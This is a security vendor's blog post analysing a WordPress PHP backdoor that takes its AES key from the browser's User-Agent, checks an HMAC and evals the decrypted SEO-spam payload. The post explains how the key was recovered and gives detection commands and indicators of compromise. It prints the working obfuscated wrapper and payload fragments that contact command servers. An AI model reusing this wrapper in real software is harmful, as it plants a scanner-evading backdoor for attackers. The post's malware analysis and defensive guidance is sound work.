Blog

A PHP Backdoor That Takes Its Key From Your Browser

A WordPress backdoor kept its payload AES-encrypted and read the key from the User-Agent header. How the wrapper works, how we recovered the key without running it, and the SEO spam it hid.

A locked PHP file on a server; only the light of one particular browser window fits the keyhole and opens it

Open this file in a browser and you get a blank page. Read it in an editor and you see a long block of base64 and about ten lines of PHP that decrypt something and hand it to eval. Leave it alone on a server and it does nothing at all.

It was found as wp-content/upgrade/backup.php on a WordPress site and reached Pyxsoft Labs as sample 2265. It is a small, carefully built backdoor: the payload is encrypted, and the key isn’t in the file. It arrives with each request, inside the User-Agent header, and the right one looks like an ordinary Chrome browser.

The file as we received it

This is backup.php exactly as it arrived, with the base64 string cut short. In the original, that second line alone is 7,305 characters long:

<?php
$xawtedm = base64_decode('Xbn42+udMXJXcB3BCvmD7kSp201IHAF+STVE5J3RxeVO8YVaK5u0/TMATuSDnUlD...
...F3zVZrmANfifsylqOvuJ/7VRF3fl7Q49yPQ4OmyYU6em3fh2oYmMIy/CnrMXG2XpO8gbhvNmjxWxlcPPJ3rFo4ESIt3Wseg=');
if(preg_match('/(.*?)cko(.*?)\/7/i'.'s',$_SERVER['HTTP_USER_'.'AGENT'],$jyzra))
$dutwy = $jyzra[2];
$cimboxlj = openssl_cipher_iv_length($xawtedmipher = "AES-128-C"."BC");
$oyjqw = substr($xawtedm, 0, $cimboxlj);
$zyclhinm = substr($xawtedm, $cimboxlj, $gxyzlpf = 32);
$xawtedmiphertext_raw = substr($xawtedm, $cimboxlj + $gxyzlpf);
$bguvc = openssl_decrypt($xawtedmiphertext_raw, $xawtedmipher, $dutwy, $uekbiq = OPENSSL_RAW_DATA, $oyjqw);
$xawtedmalcmac = hash_hmac('s'.'ha256', $xawtedmiphertext_raw, $dutwy, $hgxcr = true);
if(hash_equals($zyclhinm, $xawtedmalcmac))
eval($bguvc);

Twelve lines. Almost all of the file’s 7,896 bytes are that one string, and nothing in it is readable.

The wrapper, step by step

Below is the same code without the base64 block, unchanged apart from the variable names, which we renamed so it can be read. The original uses random names such as $xawtedm and $jyzra, and splits a few strings ('HTTP_USER_'.'AGENT', 's'.'ha256') to defeat simple text searches.

$blob = base64_decode('Xbn42+udMXJXcB3BCvmD7kSp201IHAF+STVE5J3R...');   // 5,456 bytes

if (preg_match('/(.*?)cko(.*?)\/7/is', $_SERVER['HTTP_USER_AGENT'], $m))
    $key = $m[2];

$ivlen      = openssl_cipher_iv_length($cipher = "AES-128-CBC");
$iv         = substr($blob, 0, $ivlen);           // 16 bytes
$mac        = substr($blob, $ivlen, 32);          // HMAC-SHA256
$ciphertext = substr($blob, $ivlen + 32);         // 5,408 bytes

$code = openssl_decrypt($ciphertext, $cipher, $key, OPENSSL_RAW_DATA, $iv);
$calc = hash_hmac('sha256', $ciphertext, $key, true);

if (hash_equals($mac, $calc))
    eval($code);

In order, it:

  1. Decodes the blob. The base64 holds three parts back to back: a 16-byte IV, a 32-byte HMAC-SHA256 and 5,408 bytes of AES-128-CBC ciphertext.
  2. Takes the key from the visitor’s browser string. The regular expression looks for cko and then /7 in the User-Agent, and keeps whatever lies between them.
  3. Decrypts the ciphertext with that key.
  4. Checks the HMAC with hash_equals. If the key is wrong, the check fails.
  5. Runs the result with eval, but only if the check passed.

With any other request, step 4 fails and the script ends quietly. No error, no output, nothing in the error log.

Why a file scan sees nothing

A scanner that reads this file on disk has no User-Agent to work with. What it sees is:

  • a base64 string that decodes to random-looking bytes;
  • a few calls to openssl_decrypt, hash_hmac and hash_equals, all of which appear in plenty of legitimate code;
  • an eval of a variable.

Everything that would tell you what the file is for, such as URLs, parameters or functions, sits inside the ciphertext. Without the key, there is no payload to analyze. Hash lists don’t help either: changing the key or the IV gives a completely different file with the same behavior.

The HMAC check is also a deliberate choice. It makes sure that only the attacker’s own code ever reaches eval: nobody can replace the ciphertext, and a wrong key never feeds corrupted bytes to PHP. As a side effect, the file can tell the right key from a wrong one, which turned out to be its weak point.

Finding the key without running anything

The HMAC that protects the attacker also helps whoever analyzes the file. It is a test that answers one question exactly: is this the right key? Checking one candidate means computing one HMAC-SHA256 over 5 KB, which takes microseconds. We never have to execute the PHP or decrypt anything to see whether a guess is correct.

The candidates aren’t random, either. The file itself says where the key comes from: the second group of /(.*?)cko(.*?)\/7/is applied to a browser’s User-Agent. So we took real browser User-Agent strings, applied the same pattern to them, and tested each captured group against the HMAC.

A typical Chrome string looks like this:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36

The first cko is the end of Gecko, and the first /7 after it is the start of Chrome/74. The captured group is:

) Chrome

That is the key: ) Chrome, eight characters. OpenSSL pads it with zero bytes up to the 16 that AES-128 needs. Any User-Agent of that common form for Chrome 70 to 79, “…like Gecko) Chrome/7x…”, passes the HMAC check and opens the door.

This is the clever part. The attacker doesn’t send an odd header or a secret token that someone could search for in the logs. Their requests carry a User-Agent that every Chrome browser sent between late 2018 and early 2020, and in an access log they look like normal traffic. Visitors using any other browser, or any current version of Chrome, never trigger the payload.

What it was hiding: SEO spam

Once decrypted, the payload is a 5,392-byte script with a narrow job: getting Google to index spam pages. It does this through the sitemap ping endpoint, google.<tld>/ping?sitemap=, which let a site tell Google that a sitemap had changed.

It does nothing unless it is called with ?info=:

if (isset($_GET["info"])) {
    $array_info = explode(",", $_GET["info"]);
    $domain  = $array_info[0];
    $country = $array_info[1];
    // ...
    $gurl = $gmap[$j] . $domain . ',' . $bao . ',' . $numb;   // ask the C2 for sitemaps
    $str  = curl_get($gurl, $header);
    foreach (explode(",", $str) as $sitemap) {
        $url  = $google[$country] . $sitemap;                  // google.<tld>/ping?sitemap=...
        $html = curl_get($url, $header);
        // ...
    }
}

Step by step:

  • The request names a domain and a country: ?info=domain,country,….
  • It asks the command server for a list of sitemaps. It picks one of three addresses at random: http://69.12.xx.233/gmap.php, http://69.12.xx.214/gmap.php or https://tiempoparcial.xxxxxxxxxxx.com/gmap.php. (We mask part of each address.)
  • It submits each sitemap to Google in the chosen country. There are 12 of them: Austria, Canada, Germany, Spain, France, the UK, the US (google.com), Italy, Switzerland, the Netherlands, Poland and Portugal. (Portugal is mapped to google.pl by mistake.)
  • It blends in. Each run picks one of 16 User-Agent strings, from desktop Chrome and Firefox to Thunderbird and a Vizio smart TV, and sends an Accept-Language that matches the country, such as de-AT or pt-PT.
  • It checks the answer. It reads the <h2> of Google’s response and compares it with the confirmation text in the local language, from “Sitemap Notification Received” to “Notifica Sitemap ricevuta” and “Odebrano powiadomienie o mapie witryny”:
$check['de'] = "Sitemap-Benachrichtigung erhalten";
$check['es'] = "Recepción de la notificación de Sitemap";
$check['it'] = "Notifica Sitemap ricevuta";
// ...
if ($result[1] == $check[$country])
    echo "<p><span style='font-weight:bold;color:green;'>" . $url . '---------->' . $result[1] . "</span></p>";
else
    echo "<p><span style='font-weight:bold;color:red;'>" . $url . " google ping sitemap fail.</span></p>";

The output is a report for the operator: one line per sitemap, green if Google accepted it, red if it didn’t.

The sitemaps point to spam pages hosted on other compromised sites. The infected WordPress site isn’t the target here; it is a worker. Requests to Google come from its IP address and its reputation, not from the attacker’s servers, and every hacked site in the network adds more of them.

Signs to look for on your server

  • PHP files in wp-content/upgrade/. WordPress uses this folder as temporary space while it installs updates, and it is normally empty. A PHP file that stays there, especially with a reassuring name like backup.php, deserves a look:
    find /home/*/public_html -path '*/wp-content/upgrade/*' -name '*.php'
  • Requests with ?info= to files that aren’t part of any plugin or theme. In this case, the parameter value is a domain followed by a country code, such as ?info=example.com,de,….
  • Old Chrome versions hitting one file. A single PHP file receiving requests whose User-Agent is Chrome 70 to 79, while the rest of the site’s traffic comes from current browsers, is a strong lead:
    grep -E 'wp-content/upgrade/[^" ]*\.php' /usr/local/apache/domlogs/* | grep -E 'Chrome/7[0-9]\.'
  • Outbound connections from PHP to 69.12.xx.233, 69.12.xx.214 or tiempoparcial.xxxxxxxxxxx.com, or to any URL ending in /gmap.php?info=, or a burst of requests to google.*/ping?sitemap= coming from your server.

The access logs are the most useful source. The file on disk says nothing about when it was used or how often; the log lines with ?info= do.

Cleanup and prevention

Delete the file, but don’t stop there. Someone had to put it in wp-content/upgrade/, which means they had a way to write files to the account, and that way is probably still open: a vulnerable plugin, a stolen password or another backdoor. Our guide on finding and cleaning malware on a cPanel server covers the full process, and why sites get reinfected after cleaning covers what usually gets missed.

In short: check for other unknown PHP files, verify WordPress core with wp core verify-checksums, update or remove vulnerable plugins, and change the database, FTP and administrator passwords once the site is clean.

How Pyxsoft Anti Malware flagged it

No signature matched this file, and none could have matched what it actually does, since that part is encrypted. Pyxsoft Anti Malware flagged it through its static analyzer, which parses the PHP and follows where each value comes from without executing anything. Here, it sees a value read from the request ($_SERVER['HTTP_USER_AGENT']), used as a key to decode data, with the result passed to eval: eval of client input decoded. The file was reported as suspicious and sent to the lab, which is how we got to look inside it.

The analyzer doesn’t need the key for this. What gives the file away isn’t its payload but the shape of its wrapper: request data, then decryption, then eval. That shape stays the same whatever the attacker hides inside.

Indicators of compromise

Type Value
SHA-256 (wrapper) 685bca8c8e4b8463aa9d8549e8bacac53880dc61ae923d09901c1b380a481fe9
Path wp-content/upgrade/backup.php
Size 7,896 bytes (decrypted payload: 5,392 bytes)
C2 http://69.12.xx.233/gmap.php
C2 http://69.12.xx.214/gmap.php
C2 https://tiempoparcial.xxxxxxxxxxx.com/gmap.php
Trigger User-Agent containing like Gecko) Chrome/7x (key ) Chrome) plus ?info=domain,country,…
Wrapper pattern preg_match on HTTP_USER_AGENT → openssl_decrypt (AES-128-CBC) → hash_hmac (SHA-256) → hash_equals → eval

The hash only identifies this exact copy. A new key or IV produces a different file, so search for the wrapper pattern rather than the hash.

Pyxsoft Anti Malware runs this analysis on cPanel/WHM servers and on servers with no panel, both on a schedule and in real time. It is licensed per server, whatever the number of accounts, and there’s a 7-day free trial, no credit card needed.